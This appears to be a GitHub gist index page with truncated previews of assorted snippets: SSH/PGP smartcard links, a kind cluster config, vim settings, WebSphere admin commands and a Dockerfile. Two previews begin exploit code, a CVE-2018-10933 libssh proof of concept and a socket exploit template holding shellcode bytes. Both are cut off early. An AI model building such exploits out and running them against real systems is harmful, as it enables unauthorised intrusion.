SSH/PGP
https://github.com/lfit/ssh-gpg-smartcard-config/blob/master/YubiKey_NEO.rst
https://www.esev.com/blog/post/2015-01-pgp-ssh-key-on-yubikey-neo/
https://developers.yubico.com/PGP/SSH_authentication/
Import PGP key
# Lab cluster setup | |
kind: Cluster | |
apiVersion: kind.x-k8s.io/v1alpha4 | |
name: lab | |
# patch the generated kubeadm config with some extra settings | |
kubeadmConfigPatches: | |
- | | |
apiVersion: kubelet.config.k8s.io/v1beta1 | |
kind: KubeletConfiguration | |
evictionHard: |
#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC | |
import paramiko | |
import socket | |
import sys | |
nbytes = 4096 | |
if len(sys.argv) < 2: | |
print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>") | |
exit(1) |
#!/usr/bin/python3 | |
import socket | |
#Python 2 is dead/on borrowed time, write exploits in Python3 FTW | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
#Replace shellcode with your own but prepend b" to hex strings | |
shellcode = ( | |
b"\xda\xc3\xd9\x74\x24\xf4\x5f\x33\xc9\xbd\xc6\xe9\x1f\xf7\xb1" | |
b"\x52\x31\x6f\x17\x03\x6f\x17\x83\x29\x15\xfd\x02\x49\x0e\x80" |
https://askubuntu.com/questions/572605/unicode-characters-do-not-appear-in-gnome-terminal-for-vim-airline | |
http://paste.ubuntu.com/9751270/ | |
https://github.com/powerline/fonts/ | |
Make sure terminal type is set to xterm-256color |
I hereby claim:
To claim this, I am signing this object:
if v:lang =~ "utf8$" || v:lang =~ "UTF-8$" | |
set fileencodings=ucs-bom,utf-8,latin1 | |
endif | |
set nocompatible " Use Vim defaults (much better!) | |
set bs=indent,eol,start " allow backspacing over everything in insert mode | |
"set ai " always set autoindenting on | |
"set backup " keep a backup file | |
set viminfo='20,\"50 " read/write a .viminfo file, don't store more | |
" than 50 lines of registers |
In Chrome, hit Ctrl-Shift-J, | |
Paste the following JS into the console |
Help()
AdminApp.help()
AdminConfig.help()
AdminControl.help()
List some servers:
AdminControl.queryNames('type=Server,cell='+cn+',node='+nn+',*')
############################################################ | |
# Dockerfile to build Python Nginx/uWSGI/Flask Application Containers | |
# Based on Ubuntu | |
############################################################ | |
# Set the base image to Ubuntu | |
FROM icecreammatt/flask | |
# File Author / Maintainer | |
MAINTAINER David Mitchell |